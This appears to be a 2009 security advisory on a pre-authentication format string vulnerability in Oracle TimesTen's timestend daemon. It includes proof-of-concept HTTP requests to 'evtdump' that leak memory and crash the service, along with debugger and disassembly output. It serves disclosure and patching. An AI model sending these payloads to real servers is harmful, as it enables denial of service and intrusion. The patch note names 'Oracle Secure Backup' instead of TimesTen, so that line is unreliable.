Oracle TimesTen Remote Format String

Product Description

Oracle TimesTen provides a family of real-time infrastructure software products
designed for low latency, high-volume data, event and transaction management.

Summary

The Oracle January 2009 Critical Patch Update fixes a vulnerability which
allows a remote preauthenticated attacker to execute arbitrary code in the
context of the user running Oracle TimesTen server.

Affected versions

Oracle TimesTen prior to version 7.0.5.1.0.

Vulnerability

Oracle TimesTen's timestend daemon is a simple web server that process the
commands received from clients. Many of these commands are used without
being authenticated, i.e., without the need for a username and password.

The command "evtdump" dumps to the internal log file the contents of an
internal data structure. The pseudo-cgi evtdump only receives one parameter,
called msg. The parameter "msg" is a text that will be printed to the log
file before dumping the internal structure.

This parameter is vulnerable to a format string attack which leads to remote
code execution before being authenticated. The vulnerability have been tested
in Linux environments, although it appears to be vulnerable in all the
supported platforms.

The following is an extract of a communication between a custom client and
the timestend daemon (the output from the server is shown in the file
/var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n

AT SERVER:

(…)

cat /var/TimesTen/log/ttmesg.log

(…)
19:05:07.01 Info: : 18225: maind 22: socket closed, calling recovery (last cmd was 25)
19:05:19.07 Info: : 18225: AAAA80a8a0c(null)
19:05:19.07 Info: : 18225: mode : TTDL_NORMAL
19:05:19.07 Info: : 18225: ctlfilename : ''
19:05:19.07 Info: : 18225: lineno : 0
19:05:19.07 Info: : 18225: nitems : 7
19:05:19.07 Info: : 18225: maxitems : 32
19:05:19.07 Info: : 18225: cur_path : (null)
19:05:19.07 Info: : 18225: lineno : 0
19:05:19.07 Info: : 18225: items :
19:05:19.07 Info: : 18225: item # 0 :
19:05:19.07 Info: : 18225: comp : ALL
19:05:19.07 Info: : 18225: level : 3
19:05:19.07 Info: : 18225: dsname : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0

AT SERVER:

(…)

cat /var/TimesTen/log/ttmesg.log

19:05:19.08 Info: : 18225: maind 23: socket closed, calling recovery (last cmd was 26)
19:06:18.49 Info: : 18225: AAAA80a8a0c(null)(null)
19:06:18.49 Info: : 18225: mode : TTDL_NORMAL
19:06:18.49 Info: : 18225: ctlfilename : ''
19:06:18.49 Info: : 18225: lineno : 0
19:06:18.49 Info: : 18225: nitems : 7
19:06:18.49 Info: : 18225: maxitems : 32
19:06:18.49 Info: : 18225: cur_path : (null)
19:06:18.49 Info: : 18225: lineno : 0
19:06:18.49 Info: : 18225: items :
19:06:18.49 Info: : 18225: item # 0 :
19:06:18.49 Info: : 18225: comp : ALL
19:06:18.49 Info: : 18225: level : 3
19:06:18.49 Info: : 18225: dsname : (null)
(…)

FROM CLIENT:

GET evtdump?msg=AAAA%25n HTTP/1.0

AT SERVER:

(…)

cat /var/TimesTen/log/ttmesg.log

19:07:38.87 Err : : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err : : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err : : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Err : : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting…
19:07:39.54 Info: : 18785: Listener terminating
19:07:39.54 Info: : 18785: Listener exited, termination finishing
19:07:39.54 Info: : 18785: Process termination complete
19:07:39.59 Info: : 18791: Listener terminating
19:07:39.59 Info: : 18782: Listener terminating
19:07:39.59 Info: : 18788: Listener terminating
19:07:39.59 Info: : 18791: Listener exited, termination finishing
19:07:39.59 Info: : 18791: Process termination complete
19:07:39.59 Info: : 18782: Listener exited, termination finishing
19:07:39.59 Info: : 18782: Process termination complete
19:07:39.59 Info: : 18788: Listener exited, termination finishing
19:07:39.59 Info: : 18788: Process termination complete
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting
(…)

The last msg parameter's value crashes the timestend daemon. Attaching with
a debugger to the timestend daemon we can see the following dump when it
crashes:

$ sudo /etc/init.d/tt_70 start &
(…)
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`
(…)
(gdb) c
(…)
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1223386192 (LWP 18980)]
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
(gdb) where
#0 0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6
#1 0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6
#2 0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so
#3 0x0807689f in ttdLogDump ()
#4 0x0805b138 in daHandler ()
#5 0x08073789 in handlerThread ()
#6 0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0
#7 0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax 0x0 0
ecx 0x4 4
edx 0x0 0
ebx 0xb77bbadc -1216628004
esp 0xb71480c0 0xb71480c0
ebp 0xb71486e0 0xb71486e0
esi 0x0 0
edi 0xb714895c -1223390884
eip 0xb76cf5c6 0xb76cf5c6 <vfprintf+14038>
(…)

The function ttdLogDump is called from daHandler as you can see in the
backtrace. This function is the main handler for the internal timestend's web
server. This is the vulnerable function, ttdLogDump, which receives one
argument (the msg parameter to the evtdump pseudo cgi):

(…)
.text:0807686D ttdLogDump proc near ; CODE XREF: daHandler+5F3p
(…)
.text:08076879 lea eax, [ebp+argRet]
.text:0807687C push eax
.text:0807687D push [ebp+argMsg] ; User controlled string buffer
.text:08076880 push 0
.text:08076882 push 100h
.text:08076887 lea esi, [ebp+buf]
.text:0807688D call $+5
.text:08076892 pop ebx
.text:08076893 add ebx, 3217Ah
.text:08076899 push esi
.text:0807689A call _ttc_vsnprintf
(…)

The function ttc_vsnprintf makes a call internally to the vsnprintf function
(in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to
be printed the user supplied value passed to the "msg" argument:

.text:0001ADAA ttc_vsnprintf proc near ; CODE XREF: msgbuf_error+73p
.text:0001ADAA ; opt_error+83p …
.text:0001ADAA
(…)
.text:0001ADCE push [ebp+arg] ; arg
.text:0001ADD1 push [ebp+argFormat] ; format
.text:0001ADD4 push edi ; maxlen
.text:0001ADD5 push eax ; s
.text:0001ADD6 call _vsnprintf
(…)

Workaround

None.

Patch information

Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.

Contact Information

The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com

References

Oracle TimesTen evtDump Remote Format String Vulnerability:
http://www.zerodayinitiative.com/advisories/ZDI-09-004/

Oracle Critical Patch Update January 2009:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html

Permanent Version of the advisory:
http://joxeankoret.com/blog/?p=41

Professional Web:
http://www.joxeankoret.com

Personal Blog:
http://www.joxeankoret.com/blog

Disclaimer

The information in this advisory and any of its demonstrations is provided "as is"
without any warranty of any kind.

I am not liable for any direct or indirect damages caused as a result of using the
information or demonstrations provided in any part of this advisory.